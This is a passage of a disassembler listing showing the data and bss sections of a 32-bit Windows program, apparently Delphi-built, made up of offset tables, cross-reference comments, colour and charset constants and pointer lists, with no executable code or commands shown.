off_40006D08 ; DATA XREF: .text:4000CBA8o off_4001A8B4 dd offset off_40006D10 ; DATA XREF: sub_4000A91C+5Do ; .text:4000CB9Co off_4001A8B8 dd offset off_40006D18 ; DATA XREF: .text:4000CB90o off_4001A8BC dd offset off_40006D20 ; DATA XREF: .text:4000CB84o off_4001A8C0 dd offset off_40006D28 ; DATA XREF: .text:4000CB78o off_4001A8C4 dd offset off_40006D30 ; DATA XREF: .text:4000CB6Co off_4001A8C8 dd offset off_40006D38 ; DATA XREF: .text:4000CB60o off_4001A8CC dd offset off_40006D40 ; DATA XREF: .text:4000CB54o off_4001A8D0 dd offset off_40006D48 ; DATA XREF: .text:4000CB48o off_4001A8D4 dd offset off_40006D50 ; DATA XREF: .text:4000CB3Co off_4001A8D8 dd offset off_40006D58 ; DATA XREF: .text:4000CB30o off_4001A8DC dd offset off_40006D60 ; DATA XREF: .text:4000CB24o off_4001A8E0 dd offset off_40006D68 ; DATA XREF: .text:4000CB18o off_4001A8E4 dd offset off_40006D70 ; DATA XREF: sub_4000A91C+A9o ; .text:4000CB0Co off_4001A8E8 dd offset off_40006D78 ; DATA XREF: .text:4000CB00o off_4001A8EC dd offset off_40006D80 ; DATA XREF: .text:4000CAF4o off_4001A8F0 dd offset off_40006D88 ; DATA XREF: .text:4000CAE8o off_4001A8F4 dd offset off_40006D90 ; DATA XREF: .text:4000CADCo off_4001A8F8 dd offset off_40006D98 ; DATA XREF: .text:4000CAD0o off_4001A8FC dd offset off_40006DA0 ; DATA XREF: .text:4000CAC4o off_4001A900 dd offset off_40006DA8 ; DATA XREF: sub_4000A91C+CEo ; .text:4000CAB8o off_4001A904 dd offset off_40006DB0 ; DATA XREF: .text:4000CAACo off_4001A908 dd offset off_40006DB8 ; DATA XREF: .text:4000CAA0o off_4001A90C dd offset off_40006DC0 ; DATA XREF: .text:4000CA94o off_4001A910 dd offset off_40006DC8 ; DATA XREF: .text:4000CA88o off_4001A914 dd offset off_40006DD0 ; DATA XREF: .text:4000CA7Co off_4001A918 dd offset off_40006DD8 ; DATA XREF: .text:4000CA70o dword_4001A91C dd 2 ; sub_4000CC50+147o dword_4001A920 dd 0A3A7F8h ; .text:4000CA64o dd 3 dword_4001A928 dd 0A3A7D8h, 4 dword_4001A930 dd 0A3A7B8h, 5 dword_4001A938 dd 0A3A798h dword_4001A93C dd 64h ; sub_4000B470+Dr ... dword_4001A940 dd 0A41B08h, 65hdword_4001A948 dd 0A2C038h, 6Ahdword_4001A950 dd 0A41AE0h off_4001A954 dd offset dword_400070B4 ; DATA XREF: sub_4000CC50+15Co dword_4001A958 dd 0A3A778h dd offset dword_4000710C dword_4001A960 dd 0A3A758h dd offset dword_40007164 dword_4001A968 dd 0A3A738h dd offset dword_40007218 dword_4001A970 dd 0A48DB8h dd offset dword_40007270 dword_4001A978 dd 0A48D88h dd offset dword_400072C8 dword_4001A980 dd 0A41AB8h dd offset dword_40007320 dword_4001A988 dd 0A41A90h dd offset dword_400073D4 dword_4001A990 dd 0A41A68h dd offset dword_4000748C dword_4001A998 dd 0A3A718h dd offset dword_400074EC dword_4001A9A0 dd 0A41A40h dd offset dword_400075A0 dword_4001A9A8 dd 0A3A6F8h dd offset dword_40007544 dword_4001A9B0 dd 0A3A6D8h dd offset dword_400075F8 dword_4001A9B8 dd 0A48D58h dd offset dword_400075F8 dword_4001A9C0 dd 0A41A18h dd offset dword_400075F8 dword_4001A9C8 dd 0A48D28h dd offset dword_400075F8 dword_4001A9D0 dd 0A333A0h dd offset dword_400075F8 dword_4001A9D8 dd 0A3A6B8h dd offset dword_400075F8 dword_4001A9E0 dd 0A33368h dd offset dword_40007654 dword_4001A9E8 dd 0A3A698h dd offset dword_40006FFC dword_4001A9F0 dd 0A419F0h dd offset dword_40007710 dword_4001A9F8 dd 0A419C8h dd offset dword_400077C4 dword_4001AA00 dd 0A48CF8h dword_4001AA04 dd 0 dword_4001AA08 dd 80070057h ; sub_4000CEB8+3Dr ... align 10h byte_4001AA10 db 1 ; DATA XREF: sub_4000E9CC+9Fr ; sub_4000ED90:loc_4000EE21r ... db 8Dh, 40h, 0 dword_4001AA14 dd 0 ; sub_40011DFC+B1r ... byte_4001AA18 db 0 ; DATA XREF: sub_4001145C+43r db 8Dh, 40h, 0 dword_4001AA1C dd 0FFFFFFFFh ; sub_40012C6C+3Er ... off_4001AA20 dd offset aEmpty ; DATA XREF: sub_4001293C+38r ; sub_40012E54+3Co ; "Empty" dd offset dword_400127EC+8 dd offset dword_400127FC+8 dd offset dword_40012810+8 dd offset dword_40012810+18h dd offset dword_40012810+28h dd offset dword_40012810+38h dd offset dword_40012854+8 dd offset dword_40012864+8 dd offset dword_40012864+18h dd offset dword_40012888+8 dd offset dword_40012888+18h dd offset dword_40012888+28h dd offset dword_40012888+38h dd offset dword_40012888+48h dd offset dword_40012888+58h dd offset dword_40012888+64h dd offset dword_400128F8+8 dd offset dword_40012908+8 dd offset dword_40012918+8 dd offset dword_4001292C+8 dword_4001AA74 dd 1000100h, 2 dup(10100h), 10000h, 0C08B0101hoff_4001AA88 dd offset aFalse_0 ; DATA XREF: sub_40012F38+19o ; "False" dd offset dword_40012F1C+8 off_4001AA90 dd offset dword_40012F34 ; DATA XREF: sub_40012F38+2Eo dword_4001AA94 dd 0 off_4001AA98 dd offset dword_40013F94 ; DATA XREF: sub_40013FA4+19o dd offset dword_40013F94+0Ch off_4001AAA0 dd offset dword_40014730 ; DATA XREF: sub_40014740+19o dd offset dword_40014730+0Ch dd 0 dd 0FFFFFFF5h dd 0 db 2 dup(0) byte_4001AAB6 db 1 ; DATA XREF: sub_40014F60+7r ; sub_40014F8C+C4r ... byte_4001AAB7 db 6 ; DATA XREF: sub_40014F60+Fo ; sub_40014F8C+13Eo ... aTahomasSerif db 'Tahomas Serif',0 align 4 dd 4 dup(0) dword_4001AAD8 dd 0 ; sub_40014D7C+2o ... dd offset dword_4001491C+8 dd 80h dd offset dword_4001491C+18h dd 8000h dd offset dword_40014940+8 dd 8080h dd offset dword_40014940+18h dd 800000h dd offset dword_40014940+28h dd 800080h dd offset dword_40014940+38h dd 808000h dd offset dword_40014984+8 dd 808080h dd offset dword_40014984+18h dd 0C0C0C0h dd offset dword_40014984+28h dd 0FFh dd offset dword_400149B8+8 dd 0FF00h dd offset dword_400149B8+18h dd 0FFFFh dd offset dword_400149B8+28h dd 0FF0000h dd offset dword_400149EC+8 dd 0FF00FFh dd offset dword_400149EC+18h dd 0FFFF00h dd offset dword_400149EC+2Ch dd 0FFFFFFh dd offset dword_400149EC+3Ch dd 0C0DCC0h dd offset dword_400149EC+4Ch dd 0F0CAA6h dd offset dword_40014A48+8 dd 0F0FBFFh dd offset dword_40014A48+1Ch dd 0A4A0A0h dd offset dword_40014A48+2Ch dd 0FF00000Ah dd offset dword_40014A48+40h dd 0FF000002h dd offset dword_40014A48+58h dd 0FF00000Ch dd offset dword_40014A48+70h dd 0FF000001h dd offset dword_40014A48+88h dd 0FF00000Fh dd offset dword_40014AE0+8 dd 0FF000014h dd offset dword_40014AE0+1Ch dd 0FF000010h dd offset dword_40014AE0+34h dd 0FF000012h dd offset dword_40014AE0+48h dd 0FF000009h dd offset dword_40014AE0+5Ch dd 20000000h dd offset dword_40014AE0+74h dd 0FF00001Bh dd offset dword_40014AE0+88h dd 0FF00001Ch dd offset dword_40014AE0+0A8h dd 0FF000011h dd offset dword_40014AE0+0CCh dd 0FF00000Dh dd offset dword_40014AE0+0E0h dd 0FF00000Eh dd offset dword_40014AE0+0F4h dd 0FF00001Ah dd offset dword_40014AE0+10Ch dd 0FF00000Bh dd offset dword_40014AE0+120h dd 0FF000003h dd offset dword_40014C14+8 dd 0FF000013h dd offset dword_40014C14+24h dd 0FF000018h dd offset dword_40014C14+44h dd 0FF000017h dd offset dword_40014C64+8 dd 0FF000004h dd offset dword_40014C64+1Ch dd 0FF00001Eh dd offset dword_40014C64+2Ch dd 0FF00001Dh dd offset dword_40014C64+40h dd 0FF000007h dd offset dword_40014C64+58h dd 1FFFFFFFh dd offset dword_40014C64+6Ch dd 0FF000000h dd offset dword_40014C64+7Ch dd 0FF000015h dd offset dword_40014C64+90h dd 0FF000016h dd offset dword_40014D04+8 dd 0FF000005h dd offset dword_40014D04+1Ch dd 0FF000006h dd offset dword_40014D2C+8 dd 0FF000008h dd offset dword_40014D2C+20h dword_4001AC78 dd 0 ; .text:40014F52o ... dd offset dword_40014D8C+8 dd 1 dd offset dword_40014DA4+8 dd 2 dd offset dword_40014DA4+20h dd 4Dh dd offset dword_40014DA4+38h dd 80h dd offset dword_40014DA4+4Ch dd 81h dd offset dword_40014E04+8 dd 82h dd offset dword_40014E04+20h dd 86h dd offset dword_40014E04+38h dd 88h dd offset dword_40014E04+50h dd 0A1h dd offset dword_40014E04+6Ch dd 0A2h dd offset dword_40014E04+84h dd 0B1h dd offset dword_40014E04+9Ch dd 0B2h dd offset dword_40014E04+0B4h dd 0BAh dd offset dword_40014E04+0CCh dd 0CCh dd offset dword_40014E04+0E4h dd 0DEh dd offset dword_40014E04+0FCh dd 0EEh dd offset aEasteurope_cha ; "EASTEUROPE_CHARSET" dd 0FFh dd offset dword_40014F2C+8 word_4001AD08 dw 0 ; DATA XREF: sub_400151D0+3Dr dw 1 dd 30002h, 50004h, 70006h, 0C08B0008h word_4001AD1C dw 1 ; DATA XREF: sub_400155D0+1Cr dw 10h dd 6000Bh, 4000Dh, 5000Eh, 3000Ch, 2000Fh, 80009h, 0A0007h dword_4001AD3C dd 0 dword_4001AD40 dd 0 dword_4001AD44 dd 0A41C68h ; sub_40015794:loc_40015827r ... dd 0 dd 80h, 8000h, 8080h, 800000h, 800080h, 808000h, 808080h dd 0C0C0C0h, 0FFh, 0FF00h, 0FFFFh, 0FF0000h, 0FF00FFh dd 0FFFF00h, 0FFFFFFh dword_4001AD88 dd 774FFA6Bh dword_4001AD8C dd 774FEF6Bh ; sub_40016A34+18r ... dword_4001AD90 dd 77596178h dword_4001AD94 dd 77596182h dword_4001AD98 dd 775274DCh dword_4001AD9C dd 77527567h dword_4001ADA0 dd 0FFFFFFFFh ; sub_40016A34+21r ... dword_4001ADA4 dd 0 dd offset dword_40015E44+14h dd offset dword_40015E44+28h dd offset dword_40015E74+8 dd offset dword_40015E84+8 dword_4001ADB8 dd 40h dup(0) off_4001AEB8 dd offset off_40006CC8 ; DATA XREF: .text:4000CC0Co off_4001AEBC dd offset off_40006BE8 ; DATA XREF: .text:4000C9C0o ; sub_4000E0EC+16r off_4001AEC0 dd offset off_40006C30 ; DATA XREF: sub_4000DBF4+56r off_4001AEC4 dd offset off_40006B30 ; DATA XREF: .text:4000CA58o off_4001AEC8 dd offset off_40006D18 ; DATA XREF: .text:4000CB94o off_4001AECC dd offset off_40006D58 ; DATA XREF: .text:4000CB34o off_4001AED0 dd offset off_40006DC0 ; DATA XREF: .text:4000CA98o off_4001AED4 dd offset byte_4001C038 ; DATA XREF: .itext:400193CBr off_4001AED8 dd offset off_40006CE8 ; DATA XREF: .text:4000CBDCo off_4001AEDC dd offset off_4001C02C ; DATA XREF: sub_4000B72C+79r off_4001AEE0 dd offset off_40006C68 ; DATA XREF: sub_4000B654+71r ; .text:4000C998o off_4001AEE4 dd offset off_4001A014 ; DATA XREF: sub_40019144+5Ar off_4001AEE8 dd offset off_40006DD0 ; DATA XREF: .text:4000CA80o off_4001AEEC dd offset off_4001C008 ; DATA XREF: sub_4000B72C+2Er ; sub_4000B7B0:loc_4000B7F6r off_4001AEF0 dd offset off_40006DA8 ; DATA XREF: .text:4000CABCo off_4001AEF4 dd offset off_40006CD0 ; DATA XREF: .text:4000CC00o off_4001AEF8 dd offset off_4001C000 ; DATA XREF: sub_40016AB0+33r ; .itext:400193B3r off_4001AEFC dd offset off_40006C60 ; DATA XREF: sub_4000DDD4+1ADr off_4001AF00 dd offset off_40006C40 ; DATA XREF: sub_4000DDD4+CCr off_4001AF04 dd offset dword_4001F274 ; DATA XREF: sub_400113EC+1Br off_4001AF08 dd offset off_40015D08 ; DATA XREF: sub_40015EE4+5Ar off_4001AF0C dd offset off_40006B48 ; DATA XREF: .text:4000CA40o off_4001AF10 dd offset off_40006DB0 ; DATA XREF: .text:4000CAB0o off_4001AF14 dd offset off_40006D90 ; DATA XREF: .text:4000CAE0o off_4001AF18 dd offset off_40006DB8 ; DATA XREF: .text:4000CAA4o off_4001AF1C dd offset off_4001C01C ; DATA XREF: sub_4000B72C+44r ; sub_4000B7B0+58r off_4001AF20 dd offset byte_4001C04D ; DATA XREF: sub_40016A34+3Cr ; sub_40016A34:loc_40016A92r off_4001AF24 dd offset off_40006B18 ; DATA XREF: sub_4000B230+44r off_4001AF28 dd offset off_40006BD0 ; DATA XREF: sub_4000AF68+83r off_4001AF2C dd offset off_40006B10 ; DATA XREF: sub_4000B72Cr ; sub_4000DDD4+164r off_4001AF30 dd offset off_40006CF0 ; DATA XREF: .text:4000CBD0o off_4001AF34 dd offset off_40006B50 ; DATA XREF: .text:4000CA38o off_4001AF38 dd offset off_40006BD8 ; DATA XREF: .text:4000CC48o off_4001AF3C dd offset dword_4001F268 ; DATA XREF: sub_40010874+3Br off_4001AF40 dd offset off_40006C90 ; DATA XREF: sub_4000B3D8r off_4001AF44 dd offset off_40006C48 ; DATA XREF: .text:4000C9B0o ; sub_4000DDD4+18Ar off_4001AF48 dd offset off_40006D40 ; DATA XREF: .text:4000CB58o off_4001AF4C dd offset dword_4001C21C ; DATA XREF: sub_4000AF68+1Er off_4001AF50 dd offset off_40006D60 ; DATA XREF: .text:4000CB28o off_4001AF54 dd offset off_4001C00C ; DATA XREF: sub_4000B72C+51r ; sub_4000B7B0+61r off_4001AF58 dd offset off_40006D20 ; DATA XREF: .text:4000CB88o off_4001AF5C dd offset off_4001C004 ; DATA XREF: sub_4000B72C+39r ; sub_4000B7B0+4Fr off_4001AF60 dd offset off_4001C010 ; DATA XREF: sub_4000B72C+5Cr ; sub_4000B7B0+6Ar off_4001AF64 dd offset off_40015D20 ; DATA XREF: sub_40016280+4Cr ; sub_400166E8+1Ar off_4001AF68 dd offset off_40013F84 ; DATA XREF: sub_4001552C+2Er off_4001AF6C dd offset off_40006D68 ; DATA XREF: .text:4000CB1Co off_4001AF70 dd offset off_40006BB0 ; DATA XREF: .text:4000C9D8o off_4001AF74 dd offset off_40006BA8 ; DATA XREF: .text:4000C9F0o off_4001AF78 dd offset off_40006BB8 ; DATA XREF: .text:4000C9E0o off_4001AF7C dd offset off_40012EDC ; DATA XREF: sub_400140B4+11r off_4001AF80 dd offset off_40006DA0 ; DATA XREF: .text:4000CAC8o off_4001AF84 dd offset off_40006B20 ; DATA XREF: .text:4000CA68o off_4001AF88 dd offset off_40006B68 ; DATA XREF: .text:4000CA20o off_4001AF8C dd offset off_40006BE0 ; DATA XREF: .text:4000CC3Co off_4001AF90 dd offset off_40012ED4 ; DATA XREF: sub_40013A1C+51r off_4001AF94 dd offset off_40006C00 ; DATA XREF: .text:4000C9B8o ; sub_4000DD80+16r off_4001AF98 dd offset off_40006C28 ; DATA XREF: sub_4000DDD4+1FFr off_4001AF9C dd offset off_40006D10 ; DATA XREF: .text:4000CBA0o off_4001AFA0 dd offset off_40012EEC ; DATA XREF: sub_400138D4:loc_400138E8r off_4001AFA4 dd offset off_40006C78 ; DATA XREF: .text:4000C990o off_4001AFA8 dd offset dword_4001A7CC ; DATA XREF: sub_40016280+2A2r ; sub_400165F0+ADr off_4001AFAC dd offset off_40012ECC ; DATA XREF: sub_40013B54+89r off_4001AFB0 dd offset off_40006D38 ; DATA XREF: .text:4000CB64o off_4001AFB4 dd offset off_40006C20 ; DATA XREF: .text:4000C9C8o ; sub_4000DC90+16r off_4001AFB8 dd offset off_4001C044 ; DATA XREF: .itext:400193D5r ; .itext:400193E1r off_4001AFBC dd offset off_40006D28 ; DATA XREF: .text:4000CB7Co off_4001AFC0 dd offset dword_4001F270 ; DATA XREF: sub_4000FCA4+33r off_4001AFC4 dd offset off_40006D48 ; DATA XREF: .text:4000CB4Co off_4001AFC8 dd offset dword_4001F278 ; DATA XREF: sub_40011424+1Br off_4001AFCC dd offset off_40012F04 ; DATA XREF: sub_4001464C+48r off_4001AFD0 dd offset off_4001A010 ; DATA XREF: sub_40019144+4Dr off_4001AFD4 dd offset off_40006C18 ; DATA XREF: .text:4000C9D0o ; sub_4000DBA0+16r off_4001AFD8 dd offset off_40006CB8 ; DATA XREF: .text:4000CC24o off_4001AFDC dd offset off_40006CF8 ; DATA XREF: .text:4000CBC4o off_4001AFE0 dd offset off_40006D88 ; DATA XREF: .text:4000CAECo off_4001AFE4 dd offset off_40012EE4 ; DATA XREF: sub_40013898:loc_400138ABr off_4001AFE8 dd offset off_40006B40 ; DATA XREF: .text:4000CA48o off_4001AFEC dd offset off_40006B80 ; DATA XREF: .text:4000CA08o off_4001AFF0 dd offset dword_4001F264 ; DATA XREF: sub_4000F6A8+7Er ; sub_400101AC+38r off_4001AFF4 dd offset off_40006C58 ; DATA XREF: sub_4000DDD4+13Er off_4001AFF8 dd offset off_40006D30 ; DATA XREF: .text:4000CB70o off_4001AFFC dd offset off_40006B90 ; DATA XREF: sub_4000B72C+17r off_4001B000 dd offset off_40006D98 ; DATA XREF: .text:4000CAD4o off_4001B004 dd offset off_40006B88 ; DATA XREF: .text:4000CA00o off_4001B008 dd offset off_40006D70 ; DATA XREF: .text:4000CB10o off_4001B00C dd offset off_4001C024 ; DATA XREF: sub_4000B72C+6Cr ; sub_4000B7B0+73r off_4001B010 dd offset off_40006C80 ; DATA XREF: .text:4000C988o off_4001B014 dd offset off_40006C38 ; DATA XREF: sub_4000DCE4+56r off_4001B018 dd offset off_4001A018 ; DATA XREF: sub_40019144+67r off_4001B01C dd offset off_40006BF8 ; DATA XREF: sub_4000B488+54r off_4001B020 dd offset off_40006BA0 ; DATA XREF: sub_4000B488+16Cr off_4001B024 dd offset off_4001A020 ; DATA XREF: sub_40019144+81r off_4001B028 dd offset off_40006DC8 ; DATA XREF: .text:4000CA8Co off_4001B02C dd offset off_4001F294 ; DATA XREF: sub_40016AB0+3Cr ; .itext:400193ABr off_4001B030 dd offset off_40006CA0 ; DATA XREF: sub_4000C41C+41r off_4001B034 dd offset off_40006B38 ; DATA XREF: .text:4000CA50o off_4001B038 dd offset off_40006C70 ; DATA XREF: sub_4000B300+38r ; .text:4000C9A0o off_4001B03C dd offset off_40006D50 ; DATA XREF: .text:4000CB40o off_4001B040 dd offset off_40006D78 ; DATA XREF: .text:4000CB04o off_4001B044 dd offset off_40015D10 ; DATA XREF: sub_400165BC+19r off_4001B048 dd offset byte_4001C04C ; DATA XREF: sub_4000AF68+14r off_4001B04C dd offset off_40006D80 ; DATA XREF: .text:4000CAF8o off_4001B050 dd offset off_40006C08 ; DATA XREF: .text:4000C9A8o ; sub_4000DDD4+F2r off_4001B054 dd offset off_4001C020 ; DATA XREF: sub_40016AB0+2Ar ; .itext:400193C3r off_4001B058 dd offset dword_4001F27C ; DATA XREF: sub_4001145C+2Dr off_4001B05C dd offset off_40012EF4 ; DATA XREF: sub_40013708:loc_40013718r ; sub_400137FC:loc_4001380Br off_4001B060 dd offset off_40006C98 ; DATA XREF: sub_4000B488+110r off_4001B064 dd offset dword_4001F228 ; DATA XREF: sub_4000E8E0+31r ; sub_4000E8E0+5Dr ... off_4001B068 dd offset off_40006CE0 ; DATA XREF: .text:4000CBE8o off_4001B06C dd offset off_40006C88 ; DATA XREF: sub_4000B300+63r off_4001B070 dd offset off_40006D00 ; DATA XREF: .text:4000CBB8o off_4001B074 dd offset off_4001A038 ; DATA XREF: sub_4000C230+7r off_4001B078 dd offset off_40006DD8 ; DATA XREF: .text:4000CA74o off_4001B07C dd offset off_40015D18 ; DATA XREF: sub_400166D0r off_4001B080 dd offset off_40006CC0 ; DATA XREF: .text:4000CC18o off_4001B084 dd offset off_40006B28 ; DATA XREF: .text:4000CA60o off_4001B088 dd offset off_40006BC0 ; DATA XREF: .text:4000C9E8o off_4001B08C dd offset off_40006B60 ; DATA XREF: .text:4000CA28o off_4001B090 dd offset off_40006C50 ; DATA XREF: sub_4000DDD4+9Cr off_4001B094 dd offset off_40006B58 ; DATA XREF: .text:4000CA30o off_4001B098 dd offset off_40006D08 ; DATA XREF: .text:4000CBACo off_4001B09C dd offset off_4001A84C ; DATA XREF: sub_4000DDD4:loc_4000DFA1r ; sub_4001293C+D8r off_4001B0A0 dd offset dword_4001F26C ; DATA XREF: sub_40010E0C+38r off_4001B0A4 dd offset off_40006CA8 ; DATA XREF: sub_4000C41C:loc_4000C473r off_4001B0A8 dd offset off_40006B70 ; DATA XREF: .text:4000CA18o off_4001B0AC dd offset off_40006CB0 ; DATA XREF: .text:4000CC30o off_4001B0B0 dd offset dword_4001F25C ; DATA XREF: sub_4000EBF8+33r ; sub_4000F6A8+56r off_4001B0B4 dd offset off_4001A01C ; DATA XREF: sub_400082E4+1r ; sub_400082E4+Cr ... off_4001B0B8 dd offset off_40006BC8 ; DATA XREF: sub_4000ADE0+DEr off_4001B0BC dd offset off_40006B98 ; DATA XREF: .text:4000C9F8o off_4001B0C0 dd offset off_40006C10 ; DATA XREF: sub_4000DDD4+118r off_4001B0C4 dd offset off_40006B78 ; DATA XREF: .text:4000CA10o off_4001B0C8 dd offset dword_4001A7E4 ; DATA XREF: sub_40014F8C:loc_400150FAr off_4001B0CC dd offset off_40006BF0 ; DATA XREF: sub_4000B488+45r off_4001B0D0 dd offset off_40006CD8 ; DATA XREF: .text:4000CBF4o off_4001B0D4 dd offset off_40012EFC ; DATA XREF: sub_400146B4+41r _data ends ; Section 4. (virtual address 0001C000) ; Virtual size : 00007E54 ( 32340.) ; Section size in file : 00007E54 ( 32340.) ; Offset to raw data for section: 0001C000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _bss segment para public '' use32 assume cs:_bss ;org 4001C000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing off_4001C000 dd offset sub_40016958 ; DATA XREF: .itext:40019034w ; .data:off_4001AEF8o off_4001C004 dd offset sub_4000B71C ; DATA XREF: .text:400044AAr ; .data:off_4001AF5Co off_4001C008 dd offset sub_4000B2B0 ; DATA XREF: sub_40002D04+9r ; sub_40002D04+16r ... off_4001C00C dd offset sub_4000B470 ; DATA XREF: .data:off_4001AF54o off_4001C010 dd offset sub_4000B654 ; DATA XREF: sub_400040D8+25r ; .text:40004488r ... off_4001C014 dd offset sub_40001168 ; DATA XREF: sub_40003FE8+14r ; sub_40004004+16r ... off_4001C018 dd offset sub_40001178 ; DATA XREF: sub_400040D8+D2r ; .text:40004470r ... off_4001C01C dd offset dword_40006E2C ; DATA XREF: .data:off_4001AF1Co off_4001C020 dd offset sub_40016180 ; DATA XREF: .data:off_4001B054o off_4001C024 dd offset sub_4000B3BC ; DATA XREF: .data:off_4001B00Co dword_4001C028 dd 0 ; sub_40004790+B4r off_4001C02C dd offset sub_4000B3D8 ; DATA XREF: sub_400030B4r ; sub_400030B4+9r ... dword_4001C030 dd 40000000h dword_4001C034 dd 6C8h byte_4001C038 db 0 ; DATA XREF: sub_400045E4+33w ; .data:off_4001AED4o align 4 dword_4001C03C dd 0Ah dword_4001C040 dd 142340h off_4001C044 dd offset sub_40016A34 ; DATA XREF: .data:off_4001AFB8o dword_4001C048 dd 0 byte_4001C04C db 0 ; DATA XREF: sub_40004704+1r ; .data:off_4001B048o byte_4001C04D db 0 ; DATA XREF: sub_40001654r ; sub_40001734+Cr ... byte_4001C04E db 2 ; DATA XREF: .itext:4001902Dw align 10h dword_4001C050 dd 0 ; sub_40006350+19o word_4001C054 dw 0D7B0h ; DATA XREF: .itext:40019051w align 4 dd 71h dup(0) dword_4001C21C dd 0 ; sub_40004704+1Eo ... word_4001C220 dw 0D7B0h ; DATA XREF: sub_40004704+Ar ; .itext:4001905Aw align 8 dword_4001C228 dd 0 dd 3 dup(0) dword_4001C238 dd 0 dd 6Bh dup(0) dword_4001C3E8 dd 0 ; sub_40003390+26o ... word_4001C3EC dw 0D7B0h ; DATA XREF: .itext:40019063w align 10h dd 71h dup(0) byte_4001C5B4 db 0 ; DATA XREF: sub_40002BB4:loc_40002BCFr align 4 dword_4001C5B8 dd 0FFFFFFFFh ; .itext:loc_40019000w dword_4001C5BC dd 4E4h ; sub_400049C4+Cr ... byte_4001C5C0 db 0 ; DATA XREF: sub_40001734+1Ar ; sub_400029B8:loc_400029E1w align 2 dw 804h dd 1814100Ch, 2824201Ch, 3834302Ch, 4844403Ch, 50504C4Ch dd 58585454h, 60605C5Ch, 68686464h, 70706C6Ch, 74747474h dd 78787878h, 7C7C7C7Ch, 80808080h, 84848484h, 88888888h dd 8C8C8888h, 8C8C8C8Ch, 90909090h, 94949090h, 94949494h dd 2 dup(98989898h), 2 dup(9C9C9C9Ch), 2 dup(0A0A0A0A0h) dd 0A4A4A0A0h, 2 dup(0A4A4A4A4h), 3 dup(0A8A8A8A8h), 3 dup(0ACACACACh) dd 3 dup(0B0B0B0B0h), 0B4B4B0B0h, 3 dup(0B4B4B4B4h), 4 dup(0B8B8B8B8h) dd 4 dup(0BCBCBCBCh), 0C0C0BCBCh, 4 dup(0C0C0C0C0h), 0C4C4C0C0h dd 5 dup(0C4C4C4C4h), 6 dup(0C8C8C8C8h), 6 dup(0CCCCCCCCh) dd 0D0D0CCCCh, 6 dup(0D0D0D0D0h) db 2 dup(0D0h) byte_4001C706 db 0 ; DATA XREF: sub_400029B8:loc_400029C3r align 4 dword_4001C708 dd 910000h ; sub_40002540:loc_4000261Fo ... dword_4001C70C dd 910000h ; sub_400015DC+2Dw ... dd 2 dup(0) byte_4001C718 db 0 ; DATA XREF: sub_40001734+DCw ; sub_40001734+F2w ... align 4 dword_4001C71C dd 967060h ; sub_40001570+51r ... dword_4001C720 dd 57050h ; sub_40001570+1Br ... dword_4001C724 dd 108h ; sub_40001510+59w ... dword_4001C728 dd 0 ; sub_40001510+49w ... dd 2 dup(0) dd 100h, 4 dup(0) dd 100h, 17h dup(0) off_4001C7A8 dd offset off_4001C7A8 ; DATA XREF: sub_400014D0:loc_400014E0o ; sub_40001510+19o ... dd offset off_4001C7A8 off_4001C7B0 dd offset off_4001C7B0 ; DATA XREF: .bss:off_4001C7B0o ; .bss:4001C7B4o dd offset off_4001C7B0 off_4001C7B8 dd offset off_4001C7B8 ; DATA XREF: .bss:off_4001C7B8o ; .bss:4001C7BCo dd offset off_4001C7B8 off_4001C7C0 dd offset off_4001C7C0 ; DATA XREF: .bss:off_4001C7C0o ; .bss:4001C7C4o dd offset off_4001C7C0 off_4001C7C8 dd offset off_4001C7C8 ; DATA XREF: .bss:off_4001C7C8o ; .bss:4001C7CCo dd offset off_4001C7C8 off_4001C7D0 dd offset off_4001C7D0 ; DATA XREF: .bss:off_4001C7D0o ; .bss:4001C7D4o dd offset off_4001C7D0 off_4001C7D8 dd offset off_4001C7D8 ; DATA XREF: .bss:off_4001C7D8o ; .bss:4001C7DCo dd offset off_4001C7D8 off_4001C7E0 dd offset off_4001C7E0 ; DATA XREF: .bss:off_4001C7E0o ; .bss:4001C7E4o dd offset off_4001C7E0 off_4001C7E8 dd offset off_4001C7E8 ; DATA XREF: .bss:off_4001C7E8o ; .bss:4001C7ECo dd offset off_4001C7E8 off_4001C7F0 dd offset off_4001C7F0 ; DATA XREF: .bss:off_4001C7F0o ; .bss:4001C7F4o dd offset off_4001C7F0 off_4001C7F8 dd offset off_4001C7F8 ; DATA XREF: .bss:off_4001C7F8o ; .bss:4001C7FCo dd offset off_4001C7F8 off_4001C800 dd offset off_4001C800 ; DATA XREF: .bss:off_4001C800o ; .bss:4001C804o dd offset off_4001C800 off_4001C808 dd offset off_4001C808 ; DATA XREF: .bss:off_4001C808o ; .bss:4001C80Co dd offset off_4001C808 off_4001C810 dd offset off_4001C810 ; DATA XREF: .bss:off_4001C810o ; .bss:4001C814o dd offset off_4001C810 off_4001C818 dd offset off_4001C818 ; DATA XREF: .bss:off_4001C818o ; .bss:4001C81Co dd offset off_4001C818 off_4001C820 dd offset off_4001C820 ; DATA XREF: .bss:off_4001C820o ; .bss:4001C824o dd offset off_4001C820 off_4001C828 dd offset off_4001C828 ; DATA XREF: .bss:off_4001C828o ; .bss:4001C82Co dd offset off_4001C828 off_4001C830 dd offset off_4001C830 ; DATA XREF: .bss:off_4001C830o ; .bss:4001C834o dd offset off_4001C830 off_4001C838 dd offset off_4001C838 ; DATA XREF: .bss:off_4001C838o ; .bss:4001C83Co dd offset off_4001C838 off_4001C840 dd offset off_4001C840 ; DATA XREF: .bss:off_4001C840o ; .bss:4001C844o dd offset off_4001C840 off_4001C848 dd offset off_4001C848 ; DATA XREF: .bss:off_4001C848o ; .bss:4001C84Co dd offset off_4001C848 off_4001C850 dd offset off_4001C850 ; DATA XREF: .bss:off_4001C850o ; .bss:4001C854o dd offset off_4001C850 off_4001C858 dd offset off_4001C858 ; DATA XREF: .bss:off_4001C858o ; .bss:4001C85Co dd offset off_4001C858 off_4001C860 dd offset off_4001C860 ; DATA XREF: .bss:off_4001C860o ; .bss:4001C864o dd offset off_4001C860 off_4001C868 dd offset off_4001C868 ; DATA XREF: .bss:off_4001C868o ; .bss:4001C86Co dd offset off_4001C868 off_4001C870 dd offset off_4001C870 ; DATA XREF: .bss:off_4001C870o ; .bss:4001C874o dd offset off_4001C870 off_4001C878 dd offset off_4001C878 ; DATA XREF: .bss:off_4001C878o ; .bss:4001C87Co dd offset off_4001C878 off_4001C880 dd offset off_4001C880 ; DATA XREF: .bss:off_4001C880o ; .bss:4001C884o dd offset off_4001C880 off_4001C888 dd offset off_4001C888 ; DATA XREF: .bss:off_4001C888o ; 